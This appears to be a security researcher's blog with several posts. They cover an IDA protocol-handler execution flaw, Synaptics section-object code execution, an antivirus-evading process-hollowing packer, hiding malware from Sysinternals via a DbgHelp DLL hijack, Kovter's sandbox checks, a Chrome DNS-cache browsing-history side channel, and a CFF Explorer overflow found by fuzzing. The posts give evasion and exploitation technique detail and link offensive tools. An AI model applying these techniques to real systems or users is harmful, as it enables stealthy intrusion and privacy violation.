IDA text Execution

Update: some didnt like the fact a warning was spawned for execution. Since IDA users have python installed, a .py file can be used to bypass the dialog and run straight off the SMB share. In this case, the link is crafted to encourage a highlight for copy/paste. Be careful

 

When playing with IDA 6.5, I noticed it treating strings strangely. It would actually respect protocol handlers put on them in certain cases. A simple string of

“blah http://google.com”

when viewed in the disassembler would launch a webpage to google.com if double clicked on in IDA View  (used for string highlighting). The “blah” is necessary for the string to be treated as a protocoled command by IDA (“blah” could be any string, just needs to be a string before our URL). I debug IDA to find where this protocol handler is being processed, which I assumed was MkParseDisplayName (https://msdn.microsoft.com/en-us/library/windows/desktop/ms691253(v=vs.85).aspx) or something similar.

Debugging a bit, I found this was handled by the SHParseDisplayName API (https://msdn.microsoft.com/en-us/library/windows/desktop/bb762236(v=vs.85).aspx). I figured this would be simple and get straight to code execution with “blah htafile:baddomain.com/bad.hta”.

It seems this protocol was ignored (among several other common ones). I did notice that the “file:” protocol worked, although the  “file:///” would be stripped out before being passed to SHParseDisplayName, making my string of

“blah file:///test.com/poc.exe”

…becomes

“/test.com/poc.exe”

before being passed to SHParseDisplayName. This is a problem since we loose our ability to instruct Windows how to treat this string (as a protocoled command). I tried a few other techniques, but there simply was not a way around the fact it leaves a prepended ‘/’ character. Even when trying “file:///file:///test.com/poc.exe”, I just get “/file:///test.com/poc.exe” which is an invalid protocol of course.

It turned out to be simple, with a case change. This effectively bypassed the filter, which I didn’t even try because I thought surely it wouldn’t work…but it did, as we see the string argument to SHParseDisplayName.

Now when string is double clicked, this will be interpreted to execute (depending on file extension) meaning remote code execution can occur:

Code Execution via Insecure Synaptics Section Objects

Edit: Thanks for the comments, I realize this is NOT Lenovo specific problem, it just happened to come pre-loaded on my Lenovo machine.

Alex Ionescu did a cool talk a while back on exploiting unsecured shared memory objects. It sounded like an interesting attack vector to put to use, so I pulled up WinObj on my Lenovo machine and take a look for any ACL-less section objects (section objects are maps of memory that can be shared across applications – leave one of these unsecured and you are leaving yourself open to a 3rd party application able to read and write to it.)

My Lenovo had a memory map called “SynTPAPIMemMap”. Inspecting this via WinObj shows no ACLs – good place to start.

The owner of this memory map turned out to be SynTPEnh.exe, which is spawned at boot by the SynTPEnh service, a Lenovo touchpad utility.

Examining one of the SynTPEnh.exe .dlls in IDA, we can see it is responsible for creating and managing this memory map.

Since any app can read/write to this mapping, all one has to do is find all references made to this memory map and see what choke points best to attack. Out of all the references I found to it, the most promising one was the dll export “RegisterPluginW”, which seems to be called every time the user “clicks” and or even touches the mouse pad at times.

 

When RegisterPluginW is called, I noticed it will iterate over the memory map, setting of my memory breakpoints. The inner function responsible for this is the function I named “RespawnProc” (below).

Examining the RespawnProc function, I see it has the possibility to call the “CreateProcess” function, and whats even more incredible, is the cmdLine parameter for the CreateProcess, is pulled right from the memory map (rbx), which we can control!

To control execution flow where I want, we need to get “WindowCheck” function to return 0. Lets see how we do that…

Inside WindowCheck function

Looking at the function, its relying again on input from the same unsecured memory map. We can get this function to fail by writing invalid handles and invalid process IDs to the buffer its using to store them. This is probably a mechanism to relaunch this window process, in the event it died. Too bad their storing this in an unsecured memory map. To cause this to fail, we need to understand the format of the buffer, and what its all about.

After lightly reverse engineering the memory map, I found the buffer was an array of over 20 TPAPI objects. Highlighted in this memory below is one TPAPI object (Red) and a few important members.

The cmdline member in blue, is used as the CreateProcess parameter. It seems that it should be as simple as rewriting the cmdLine to a process I want to spawn, and setting invalid PID and/or Window Handle members to force the “WindowCheck” function to fail. I only have to worry about doing this to the first TPAPI object, since all will be iterated over upon touch/click and I dont need 27 calc.exe instances popping up.

Here is part of very simple code to trigger this execution.

We execute this code, and the second I move the mouse calc.exe instance is spawned from SynTPEnh process with inherited permissions.

 

What we have now, is the ability for any application able to write to this Lenovo section object to get code execution as the current user’s account, which can be a privilege escalation (depending where you are running from), or it can be an execution divert, in environments you dont want child processes under MS Word for example.

Stealth Process Hollowing (via Hotswapping Maps)

I’ve recently released a process hollowing packer: RISCyPacker (https://github.com/RISCYBusiness/RISCYpacker). This hollower technique is unique in the fact that it is able to hollow a process dynamically (without process suspension) and without using some of the more sketchy Win APIs. This means no WriteProcessMemory, QueueUserApc, CreateRemoteThread, SetThreadContext calls. While I didn’t get around to testing with all AV, this technique should go undetected. For you Reversers, I attached a POC binary packed by it (end of article), so you can see how it works.

If you are motivated enough to test with more AV, let me know, Id be interested to hear

How It Works

Most process hollowing techniques rely on suspension of process, writing to remote memorymanipulating context (SetThreadContext/CreateRemoteThread/QueueUserAPC) and Resuming. The RISCyPacker technique trims the fat by only using Memory Modification steps (NtUnMapViewOfSection/NtMapViewOfSection) to accomplish a hollow.

In order for this to work, we need to be establish a guarantee that our thread can Unmap/Map remote executable memory before the remote thread is scheduled. If we go half-cocked (ie: only an unmap), we will get crashes since the thread’s EIP will point to nothing when its scheduled. Luckily we can use some thread priority and affinity to help us:

Create local Thread with High Priority

Set Remote Process’ Thread to Low Priority

The Affinity settings are of course required, since multicore processors may affect up our desired scheduling priorities we set. By putting them both on the same core, with different priorities, we can properly queue them up, allowing manipulation of remote memory before remote thread can access it.

Conceptual steps on how this hollower works (example w/ ftp.exe)

The injected NOP sled happens to also contain shellcode to load and built the IAT for the injected process.

Closing

A few things this packer must keep in mind, is a set of processes that can support a non-suspension injection. Some processes you want to hollow into, will immediately exit upon start (ie: xcopy.exe w/ no arguments) and thus miss the injection opportunity. For now, I only tested with ping.exe which was a good candidate for this. In the event a proc early exits, the hotswap technique will still work, it will just require a suspension (does not require CREATE_SUSPENDED, but rather suspended after normal creation (more stealthy)

RISCyPacker does not currently support x64/TLS/Exports. 

https://github.com/RISCYBusiness/RISCYpacker

Proof of concept exe for reversers. Password is “notinfected”

POC

Note on Stalled Apps

Some processes you hollow into may be in a blocking state (in a system library) by the time you hollow. This means it will not call back into it’s image base that we applied a NOP sled to. To get around this you can memswap libraries and externally trigger an enter. (For example, kernel32 can be unmapped/mapped and then a Kill process call to the hollowed process, this will force the stalling application to enter into kernel32/NOP sled you mapped).

 

Hiding Your Process from Sysinternals

 

Malicious.exe running, but does not show up in Procexp.exe

I was researching ways to not just do anti-analysis, but to rather run executables in spite of analysis, while evading analysis. I found ways to go invisible from a few common analysis tools, but the final boss was Sysinternals Suite, no Administrative nor SEDebugPriveledge allowed for this challenge. I figure I’d share what I found here, which also ended up being a privilege escalation.

ProcExp’s “HiddenProc” Easter Egg

I first started with Procexp. Sifting through Procexp in IDA I thought I instantly found a promising section of code and was going to call it a day.

This routine searches for a MULTI_SZ registry value named “HiddenProcs”. If it exists, it will parse a list of new-line delimited process names and what I assume, later filter them out of the viewing. Unfortunately, the actual routine in charge of hiding these process names doesn’t exist (probably compiled out for release mode?). This is a dead registry key. Moving on.

ProcExp Image Hijack 1 (failed)

If we can hijack procexp, then we can control it to display whatever we want to the user. When you run Procexp32.exe (or other 32-bit Sysinternal tools) on a 64-bit OS, it will often dump a 64-bit version of itself to disk, and then run the 64 version instead. Is there a way we can image hijack this, post drop?

What we are looking at is the drop and execute code from Procmon32. This routine is responsible for writing a 64-bit version of itself and executing if on 64-bit OS. From the top green node (Drop64bitProcExp function) to the bottom green node (CreateProcessW). There is a gap. If we can ensure ProcExp32.exe spends as much time in the red while we repetitively try to write to the dropped exe, can we intercept the image before CreateProcess is called?

Below I try this, with a simple POC to set my thread to TIME_PRIORITY_TIME_CRITICAL, while attempting to write my own code to the dropped exe. The goal is to get my quantum to get executed in between the 2 green nodes.

When running this program, and a user attempts to open ProcExp, we get the error below. Looks like it may have only wrote partial way for the Image Hijack. This is not deterministic enough, and too SCIFI.

 

ProcExp Image Hijack 2 (success)

Investigating the file drop code, we see ProcExp doesn’t instantly exit if wfopen_s(“ProcExp64.exe”, “wb”) fails.

This will be its flaw. It ignores the fopen error as long as “GetFileAttributes” succeeds.

..so the image hijack is very simple. We just write out own “ProcExp64.exe” to the temp directory, and make it “READ ONLY”. That way, fopen(“ProcExp64.exe” ,”wb”) fails, but when trying GetFileAttributes it will succeed, and execution flow will lead us right to CreateProcess.

 

Here my process drops a fake version of ProcessExplorer under the %temp% dir as “PROCEXP64.exe”. Its marked read-only (you can try this at home actually). This is a simple program that just says “Hijacked” to the console.

Now when we try to run Procexp.exe, it hits this flaw and instead runs our fake “PROCEXP64.exe”.

 

This shows a hijack is possible, but I think we can do better, since this is limited to 64-bit OS running 32-bit Sysinternals.

 

The DLL Hijack (final solution)

This is final method I choose for the POC. Looking at Sysinternal RegKeys, we see one called “DbghelpPath”. This Registry key is writable for most applications since its the USER registry hive.

DbghelpPath key just points it to a path that it trusts to hold the “dbghelp.dll”. Well, I’ll just hijack this path then, thanks. My binary sets this key to point to the %TEMP% dir while dropping its own dbghelp.dll in temp (%TEMP%/DbgHelp.dll). When Procexp is runs, it will load the dll in this path. Once i get it to load my dll we hook ProcExp routines to hide my process. You can see the main code for this in

https://github.com/RISCYBusiness/Jadoube/blob/master/AntiSysInternals/AntiSysInternals/Procexp.cpp

This involved reversing ProcExp logic. After doing so, I found the best point to target the hook – OpenProcess API.

We patch OpenProcess Api, since, it is called for each process it shows to the output. Its better if I target a hook here, rather than hardcoded offset. If I do the later, it will be more volatile to different versions of ProcExp (since offsets can change, code added/removed). So instead I patch OpenProcess API, because when ProcExp calls it, theres a dangling r14 register that happens to point to the ProcExp PROCESS linked list. This PROCESS linked list structure is less likely to change between versions.

Here we patch:

Here we hook, to hide our process from ProcExp linked list. This involved reversing the PROCEXP process linked list structure a bit, but once done, we have a filter for filtering processes. Below this POC filters processes named “Malicious.exe”.

End Result

One cool thing about this, is that nearly all SysInternal tools have this DbgHelp path writable key, so you can theoretically do this with all Sysinternal Suite tools.

 

 

Kovter 2016 – Anti Analysis tricks

AntiVbox

VBoxService.exe (ZwQuerySystemInformation / 0x5)

VBoxTray.exe (ZwQuerySystemInformation / 0x5)

VBoxHook.dll (attempts loadlibrary)

HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0

SystemBiosVersion

HARDWARE\Description\System

VideoBiosVersion

virtualbox

SYSTEM\ControlSet001\Services\Disk\Enum

SOFTWARE\Oracle\VirtualBox Guest Additions

C:\WINDOWS\system32\drivers\VBoxMouse.sys

AntiVmWare

vmwareuser.exe (ZwQuerySystemInformation / 0x5)

vmwaretray.exe (ZwQuerySystemInformation / 0x5)

HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0

SOFTWARE\VMware, Inc.\VMware Tools

SYSTEM\ControlSet001\Services\Disk\Enum

C:\WINDOWS\system32\drivers\vmmouse.sys

vmware (ZwQuerySystemInformation / 0x5)

C:\WINDOWS\\system32\drivers\vmhgfs.sys

AntiVirtualPC

vmusrvc.exe (ZwQuerySystemInformation / 0x5)

vmsrvc.exe (ZwQuerySystemInformation / 0x5)

SYSTEM\ControlSet001\Services\Disk\Enum

HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0

C:\WINDOWS\system32\drivers\vpc-s3.sys

C:\WINDOWS\\system32\drivers\vpcubus.sys

AntiSandboxie

SbieDll.dll (getmoduleHandle to check if injected)

AntiWireShark

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Wireshark

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Wireshark

Software\Wireshark

wireshark (ZwQuerySystemInformation / 0x5)

AntiFiddler

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Fiddler.exe

Software\Microsoft\Fiddler2

 fiddler (ZwQuerySystemInformation / 0x5)

AntiHttpAnalyzer

SOFTWARE\Classes\SOFTWARE\IEInspectorSoft\HTTPAnalyzerAddon

SOFTWARE\Classes\IEHTTPAnalyzer.HTTPAnalyzerAddOn

SOFTWARE\Classes\HTTPAnalyzerStd.HTTPAnalyzerStandAlone

httpanalyzer (ZwQuerySystemInformation / 0x5)

injectwinsockservice (ZwQuerySystemInformation / 0x5)

AntiCharles

Software\Classes\Charles.AMF.Document

Software\Classes\Charles.Document

Software\XK72 Ltd  folder

charles.exe (ZwQuerySystemInformation / 0x5)

AntiJoeBox

joeboxserver.exe (ZwQuerySystemInformation / 0x5)

joeboxcontrol.exe (ZwQuerySystemInformation / 0x5)

AntiRFP

regmon.exe (ZwQuerySystemInformation / 0x5)

filemon.exe (ZwQuerySystemInformation / 0x5)

procmon.exe (ZwQuerySystemInformation / 0x5)

AntiDebug

Kernel32!IsDebuggerPresent()

Check PEB (mov eax, fs[30h] / eax+2

AntiSunbeltSandboxie

api_log.dll (GetModuleHandle to see if injected)

dir_watch.dll (GetModuleHandle to see if injected)

sniff_hit.exe (ZwQuerySystemInformation / 0x5)

sysAnalyzer.exe (ZwQuerySystemInformation / 0x5)

AntiQemu

HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0

SystemBiosVersion

HARDWARE\Description\System

Side channeling user DNS cache in Chrome

I had the thought one day if one could side channel DNS lookup times in browser JS. This could theoretically determine local cache status of a domain and give us some insight into a user’s browsing or even network history. This would be a violation privacy I was eager to try. Off the bat I thought of something simple, like this:

goodPort

While I’m using a websocket for the DNS test, it doesn’t require the site to support websockets – in fact Im banking that it doesn’t so I can simply measure the time it takes to fail. I expect the first websocket try to take a few milliseconds (DNS resolve + websocket failure), but next time (since the domain should be in cache), will it be faster?

failfail

No. Well, understandably, there is a lot of overhead dirtying the signal – a web socket being constructed, an attempted request to the site through a bunch of unpredictable routers, a failed websocket response, etc.

So lets clean up this signal by getting it to fast fail. I found we can fast fail the websocket by supplying a bogus port to the websocket, and found it worked out beautifly, because Chrome does a DNS lookup of the domain before it actually sanitizes the port for validity – and then fail.

fastfail.png

dnsLookedNo Websocket connection attempt, but DNS request for domain was sent.

This means, we basically turned Chrome into a pure DNS resolver with no/low overhead for our side channel signal. So now that Im getting clean DNS lookups, surely we should see a difference between cached and non-cached DNS lookups? ..Yes and no

wtfSocket.png

From the initial “not-in-cache” to the “in-cache” timing it looked promising, but then it took an illogical turn. I expect all subsequent attempts to be fast.. So whats going on here? I admit I quit..but then came back to it, because it didn’t make sense. There are things I looked into behind the scenes to ensure how much it didn’t make sense that I will not go over here, but upon returning to the project I looked more into Chromium open source code (which is what Chrome uses). I found they are consulting a “back off” algorithm upon each Websocket lookup in WebsocketDispatchHost.cc

backoff

Perhaps this exists to avoid side channels like this or anti-DDOS? What this is doing, is returning how many milliseconds the websocket should sleep before finishing the websocket function, which is a major wrench in this side channel since its punishing us with complete arbitrary delay time. Actually, its not arbitrary, its something we can control.

If we ensure the ratio of failed websocket connections to succeed websocket connections is 1 (for the page session) — and no pending connections.., then the backoff algorithm wont hurt us, because the “std::min” will take our 1 as the “punishment weight”.

ratio1.png

We are still subjected to the “RandInt” function, but if we can control our end, the RandInt function wont hurt us. Below I calculated the worst time drift we can have.

worstcase

not bad at all…

Now all I do is interleave my failed websocket requests with successful websocket requests (to a websocket test server: websocket.org/etc).

interleave

Clean signal with interleaved sockets:

POC1*cleaned OS and Chrome’s DNS cache*

POC2

Run function with domain not in cache – 41ms time

POC3

We see domains in cache now (right chrome://net-internals) – 4ms

Pretty darn cool, looks like we can safely assume a visitor has visited a site (or at least domain) if the failure time is <10ms? seems to be a safe cut off from my repeated tests and research. The whole point of defeating the backoff algorithm is not just understanding what was going on when I was testing, but also now allows for multiple domain look ups per session without being punished.

Questions:

10 ms is an arbitrary cut off for determining if cached, how can that be universal if some machines are faster/slower?

If this were to be used, you should add a true negative and a true positive for cache test. This can be done by first measuring the current domain the visitor would be on (guaranteed to cached) – lets say its 45ms (true positive). Then fetch a domain there is no way they have in cache like XMks8732asdm.com – lets say its 180ms (true negative), then incorperate that data into your decision via standard deviation for each case. This should add some certainty to the mix.

One of the obvious shortcomings with this technique you may have already wondered: arent we putting the domain in cache when we attempt a look up?

Yes we are..and in that case its kind of a single shot musket type weapon. However false positives can be prevented through browser fingerprinting and only attempting another lookup on user after you feel the TTL has expired (whether it be hours/days).

Violating Window’s file naming rules

Going to share an interesting behavior with the “CreateFileW” functions I found this week. Its quite simple, but results in an undeletable file with some other interesting traits.

This is done by creating a file name that Windows does not accept and fails to do operations on once created. As we know, Windows does not allow certain characters in path names, the ones we all know are:

2016-05-01_12-52-25.png

So the “CreateFileW” API call will fail if you even try to create a file with the above characters, however there are other file-naming rules not so black and white which Windows abides by. One of these is that Windows does not allow trailing space in a file name. This can be seen using CreateFileA (which is what is called when you right click and create a file in Windows). CreateFileA will properly remove trailing space characters before making the file. This filtering however does not occur in the CreateFileW API call using \\?\ to prepend the path.  By naming a file with the below syntax, Windows will create a Unicode filename with a trailing space. The \\?\ prefix sends the path straight to the file system with no preprosessing, typically used when trying to get around the MAX_PATH limitation of 255 characters.

2016-05-01_12-33-55

When trying to delete the file:

2016-05-01_14-44-31.png

Try rename the file to remove the trailing space – no luck:

2016-05-01_13-43-37.png

Checking the properties of the file:

2016-05-01_13-15-41.png

2016-05-01_13-16-31

Even trying CMD prompt with the filename, I was unable to delete the file.
This whole thing led to some other very interesting behavior with directories, that perhaps Ill share a later time.

Windows vs Linux vs Android Vulnerabilties

This weekend I grabbed the CVE database for the most famous Operating Systems to plot the vulnerability distribution among the past ~20 years.

vuln.png

Make what ever sense you want to make out of it using the Interactive Graph @ www.riscy.business/OSVulns.html

 

  • “Linux” represents the Linux Kernel vulnerabilities and not the different subtle Linux flavors nor their applications.
  • “Windows” represents the OS itself and not their applications, which would provide a much larger attack surface if represented.

 

 

Buffer Overflow in CFF Explorer

First off I love CFF Explorer, its a solid Windows PE viewer I use extensively when researching malware. Naturally when you use a program extensively you may discover a bug or two. I found a buffer overflow vulnerability in the MultiByteToWideChar call that this app makes. I found it has already has been patched (a while ago) after I was 2 days into my development (another reason to always use the latest version of things, dont waste your exploit dev time). Since this probably isnt going anywhere, im cashing in this work as a blog post to help people who want to learn exploit development or even just understanding low level Windows.

A while back, I found odd behavior when opening a dumped exe from memory with invalid Import Tables. I noticed a crash happen in the app, which I made a mental note of to go back to and investigate once I had more time (next month). Next month happens, and I’m terribly disorganized and no longer have the binary that caused it so I thought this would also be a good opportunity to write a fuzzer to reproduce the error. I already had an idea of what causes the crash: strange import table. So I tailored my fuzzer to that, making it what they call a “Smart Fuzzer”.

Planning out the fuzzer code I first just develop a way to start CFF Explorer with an argument to an exe to load. This was harder than I thought… Looking at the shell registry I can see how it normally loads exes/dlls when you right click on and load:

reg

but NO! its not that simple. CFF Explorer uses 8.3 filenames and my file had a space in the path (https://en.wikipedia.org/wiki/8.3_filename), so once I corrected that I stopped banging my head against the wall. So now lets code the first few lines of the fuzzer:

createProc.png

Im creating a process of CFF Explorer with command line argument to start a binary in my User folder, doesnt matter what binary right now because we will later be modifying it to make new input.

To make the fuzzer fast we cant be creating proccess/terminating process everytime we want to give new input, so we need to reverse engineer the CFF Explorer application to create some sort of binding for fuzzing input. Lets see how binaries are loaded by CFF Explorer:

virtalloc.png

Here is after it opens the exe file as an argument…Its basically just allocates space (creating a new memory segment) and writing the bytes of the exe to it by passing the allocated space to ReadFile. The take away here for creating a fuzzer binding is: creating a new memory segment. This is good to know because now we have some sort of thing to look for in CFF Explorer’s memory and then modify since this is essentially the application’s input.

I use VirtualQueryEx to enumerate memory segments of CFF Explorer and return the spot that the exe is located in memory. I can know where this is by seeing what memory segment starts with “MZ” and is marked “RW” not “E” (meaning a PE file in a non-executable segment).

 

I now have to get a window handle of CFF explorer so I use EnumWindows to find the main window. This is necessary because after Reverse Engineering CFF Explorer, it turns out that the “import analysis” code (which is what I suspect crashes) is only ran if the user “clicks” on the module name in the GUI. Understandable..

importclick.png

This means if I change the loaded file while its running, I will need to trigger this “import analysis” code in the application every time I change something. I originally looked at getting a “raw” binding to “import analysis” function and call it directly. I avoided this for 2 reasons:

  1. I would have had to really understand and hunt for all the object pointers and fluff to correctly pass to the function and perfectly execute it (extremely increasing potential bugs caused by me)
  2. Contrary to what developers typically strive for..fuzzing is often (not always) better automating at higher levels (in this case, going through the Windows GUI). When you work to bypass too much fluff, you miss out on exploitable fluff.

So I simply need to find a way to get Windows Messages sent to this window to emulate the “click” or “select” of the module name in order to get the “import analysis” code to run

 

I do this by enumerating windows and finding “CFF Explorer.exe” that I started.enumwindow

I then enumerate its child windows to get a Window handle on the “Import Table” window (which is the viewport in the application that shows the module names you click on).

enumchild.png

 

So we now have a handle to this child window. This will allow us to send Windows Messages to it and make it think a user is clicking or selecting the module names. (Windows Messages is how the OS tells a window that input is happening to it. We will spoof this).

win32.png

We are sending “down arrow” commands to the child window, making it select each module in the grid layout one by one (triggering the “import analysis” code of CFF Explorer for each module name selected).

Now we have the ability to get the memory segment of the exe that CFF Explorer loads in memory and the ability to trigger “import analysis” calls on in an automated quick fashion. Now we need to FUZZ.

We read the bytes in CFF Explorer’s memory segment of the loaded exe file using ReadProcessMemory at the address we obtained using our VirtualProtect search.We read the entire sement which means we now have the same exact file CFF Explorer is looking at. Being that our area of interest is “Import Tables”, I just randomize the newly read buffer’s (exe) import tables.

fuzz

I randomize each  IMAGE_IMPORT_DESCRIPTOR objects in the buffer I read and then write it back to CFF Explorer’s memory that holds the exe its analyzing at.

This code is looped with the windows message spoofing so its constantly analyzing my new input I write to its process memory.

..Thats it. Just run it and see what we catch.

….an hour passed we got something: an app crash

crash.png

This is where we reverse engineer the bug we found to see what it is..

int3.png

An actual buffer overflow. We have the “crashable file” saved off by the fuzzer. Lets load it and see what went wrong….ok we see what went wrong and it was the “Name” field of the image_import_descriptor (which points to a function name). CFF Explorer is using MultiByteToWideChar on this Name field, but if the Name field is too large, the buffer passed to the function cant support the size. The name was too long because I generated bad address bytes that pointed the “Name” field to another part in the exe that was not null terminated (soon enough). This causes a buffer overflow when processed. Lets intentionally cause it now.

AAAA.png

Load the file, crash, debug:

AAoverflow.png

This is looking good. All we need to do is the classic “overwrite EIP” which is on the stack below (technically above) all my 41414141. Unfortunately we encounter:

canary.png

Looking at this, I can tell this is a “stack canary” aka “stack cookie” aka “/GS”.

Brief explaination: Stack canaries are used when programs compile with stack canaries. The compiler will modify all functions that do “buffer modifications” to have integrity checks before and after the function executes. The before part XORs the stack pointer with a value on the stack and after the function the value is compared with the original calculated result. It essentially does a stack integrity check that will be flagged if we overwrite it (at [rsp+360]) This is a problem for us because to overwrite EIP on the stack we need to get to [rsp+370]. The following will just throw ideas at getting past canaries:

  1. Check entropy of the stack canary. If the value that XORs rsp is predictable, then we can possibly overwrite [rsp+360] with the correct canary.. Lets log the entropy with some C code… We do this by finding where the cookie is calculated. I debugged the binary and found the global variable thats initialized with the calculated cookie (near program start). I just need to be able to read this location from memory each time I create/kill the CFF Explorer process so see if there is weak entropy on each time its calculated.

.cookies Good enough amount of entropy. While the first 2 bytes look predictable, the rest are not. However, they do have somewhat of a pattern (getting larger). Its out of scope to even look further into this. After seeing how the cookies are calculated they are using GetTickCount/etc as part of the calculation. Something I cant predict at runtime.

 

2. Corrupt things BEFORE [rsp+360]. Stack canaries ONLY protect memory corruption after the cookie. It doesnt know if you corrupt things before, and with 360 bytes of stack space, thats a lot of local variables I can modify and overwrite. While we are at the end of the function (meaning local variables are about to be discarded) corruption could still occur. I have seen function stacks created that do not initialize their local variables, meaning they will just use what ever is on the stack created at the time. If we can modify these bytes, its possible a following function would allocate stack space and use our buffer data that has since been uninitialized, resulting in unexpected behavior. Or it is possible that I can modify memory that will be passed back to the caller (either by reference or value).

I can quickly check #2 possibility by making my buffer of ‘A’ just short of [rsp+360]. This means we will have overwrote the stack, but not the canary. Meaning IF anything we overwrote is used, we will possibly know if it crashes again….do it….run it…..no crash 🙁

I have heard of alternate results such as overwriting the SEH. If this is possible, then when the stack cookie violation occurs, it will look for a user defined exception to handle the exception, if you’re able to register one before you trigger the overflow you can make execution return to where ever you define your handler (sounds more like a CTF challenge).

 

At face value perhaps what this is is not RCE. You can develop the flaw in other ways. Such as a way to hide an executable’s import table from analysis. Or even DOS CFF Explorer from being able to be used on your binary. This is a good example to be cautious even when opening non-executable files on your host machine. You never know whats possible.